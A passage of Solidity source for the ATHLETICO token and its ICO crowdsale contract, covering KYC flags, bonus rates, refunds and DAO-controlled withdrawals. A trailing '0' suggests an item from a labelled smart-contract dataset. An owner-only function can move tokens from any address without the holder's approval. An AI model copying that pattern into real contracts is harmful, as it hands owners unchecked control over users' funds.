isICOover { if (msg.sender != CrowdsaleAddress){ require(ICOover == true,"Transfer of tokens is prohibited until the end of the ICO"); } _; } function transfer(address _to, uint256 _value) public validDestination(_to) isICOover returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public validDestination(_to) isICOover returns (bool) { return super.transferFrom(_from, _to, _value); } function mint(address to, uint256 _value) public onlyOwner { _mint(to, _value); } function burn(uint256 _value) public { _burn(msg.sender, _value); sponsors[msg.sender] = sponsors[msg.sender].add(_value); emit LogSponsor(msg.sender, _value); } function kycPass(address _investor) public onlyOwner { kyc[_investor] = true; } function kycNotPass(address _investor) public onlyOwner { kyc[_investor] = false; } function setICOover() public onlyOwner { ICOover = true; } function transferTokensFromSpecialAddress(address _from, address _to, uint256 _value) public onlyOwner whenNotPaused returns (bool){ require (balances_[_from] >= _value,"Decrease value"); balances_[_from] = balances_[_from].sub(_value); balances_[_to] = balances_[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function pause() public onlyOwner whenNotPaused { paused = true; emit Paused(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpaused(); } } contract Ownable { address public owner; address public DAOContract; address private candidate; constructor() public { owner = msg.sender; DAOContract = msg.sender; } modifier onlyOwner() { require(msg.sender == owner,"Access denied"); _; } modifier onlyDAO() { require(msg.sender == DAOContract,"Access denied"); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0),"Invalid address"); candidate = _newOwner; } function setDAOContract(address _newDAOContract) public onlyOwner { require(_newDAOContract != address(0),"Invalid address"); DAOContract = _newDAOContract; } function confirmOwnership() public { require(candidate == msg.sender,"Only from candidate"); owner = candidate; delete candidate; } } contract TeamAddress { } contract BountyAddress { } contract Crowdsale is Ownable { using SafeMath for uint256; using SafeERC20 for ATHLETICOToken; event LogStateSwitch(State newState); event LogRefunding(address indexed to, uint256 amount); mapping(address => uint) public crowdsaleBalances; uint256 public softCap = 250 * 1 ether; address internal myAddress = this; ATHLETICOToken public token = new ATHLETICOToken(myAddress); uint64 public crowdSaleStartTime; uint64 public crowdSaleEndTime = 1559347200; uint256 internal minValue = 0.005 ether; TeamAddress public teamAddress = new TeamAddress(); BountyAddress public bountyAddress = new BountyAddress(); uint256 public rate; uint256 public weiRaised; event LogWithdraw( address indexed from, address indexed to, uint256 amount ); event LogTokensPurchased( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); enum State { Init, CrowdSale, Refunding, WorkTime } State public currentState = State.Init; modifier onlyInState(State state){ require(state==currentState); _; } constructor() public { uint256 totalTokens = token.INITIAL_SUPPLY(); _deliverTokens(teamAddress, totalTokens.div(10)); _deliverTokens(bountyAddress, totalTokens.div(20)); rate = 20000; setState(State.CrowdSale); crowdSaleStartTime = uint64(now); } function finishCrowdSale() public onlyInState(State.CrowdSale) { require(now >= crowdSaleEndTime || myAddress.balance >= softCap, "Too early"); if(myAddress.balance >= softCap) { setState(State.WorkTime); token.setICOover(); } else { setState(State.Refunding); } } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); crowdsaleBalances[_beneficiary] = crowdsaleBalances[_beneficiary].add(weiAmount); emit LogTokensPurchased( msg.sender, _beneficiary, weiAmount, tokens ); } function setState(State _state) internal { currentState = _state; emit LogStateSwitch(_state); } function pauseCrowdsale() public onlyOwner { token.pause(); } function unpauseCrowdsale() public onlyOwner { token.unpause(); } function setRate(uint256 _newRate) public onlyDAO { rate = _newRate; } function setKYCpassed(address _investor) public onlyDAO returns(bool){ token.kycPass(_investor); return true; } function setKYCNotPassed(address _investor) public onlyDAO returns(bool){ token.kycNotPass(_investor); return true; } function transferTokensFromTeamAddress(address _investor, uint256 _value) public onlyDAO returns(bool){ token.transferTokensFromSpecialAddress(address(teamAddress), _investor, _value); return true; } function transferTokensFromBountyAddress(address _investor, uint256 _value) public onlyDAO returns(bool){ token.transferTokensFromSpecialAddress(address(bountyAddress), _investor, _value); return true; } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view{ require(_beneficiary != address(0),"Invalid address"); require(_weiAmount >= minValue,"Min amount is 0.005 ether"); require(currentState != State.Refunding, "Only for CrowdSale and Work stage."); } function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.safeTransfer(_beneficiary, _tokenAmount); } function transferTokens(address _newInvestor, uint256 _tokenAmount) public onlyDAO { _deliverTokens(_newInvestor, _tokenAmount); } function mintTokensToWinners(address _address, uint256 _tokenAmount) public onlyDAO { require(currentState == State.WorkTime, "CrowdSale is not finished yet. Access denied."); token.mint(_address, _tokenAmount); } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 bonus = 0; uint256 resultAmount = _weiAmount; if (now >= crowdSaleStartTime && now < 1546300800) { bonus = 100; } if (now >= 1546300800 && now < 1548979200) { bonus = 50; } if (now >= 1548979200 && now < 1551398400) { bonus = 25; } if (bonus > 0) { resultAmount += _weiAmount.mul(bonus).div(100); } return resultAmount.mul(rate); } function refund() public payable{ require(currentState == State.Refunding, "Only for Refunding stage."); uint value = crowdsaleBalances[msg.sender]; crowdsaleBalances[msg.sender] = 0; msg.sender.transfer(value); emit LogRefunding(msg.sender, value); } function withdrawFunds (address _to, uint256 _value) public onlyDAO { require(currentState == State.WorkTime, "CrowdSale is not finished yet. Access denied."); require (myAddress.balance >= _value,"Value is more than balance"); require(_to != address(0),"Invalid address"); _to.transfer(_value); emit LogWithdraw(msg.sender, _to, _value); } }
0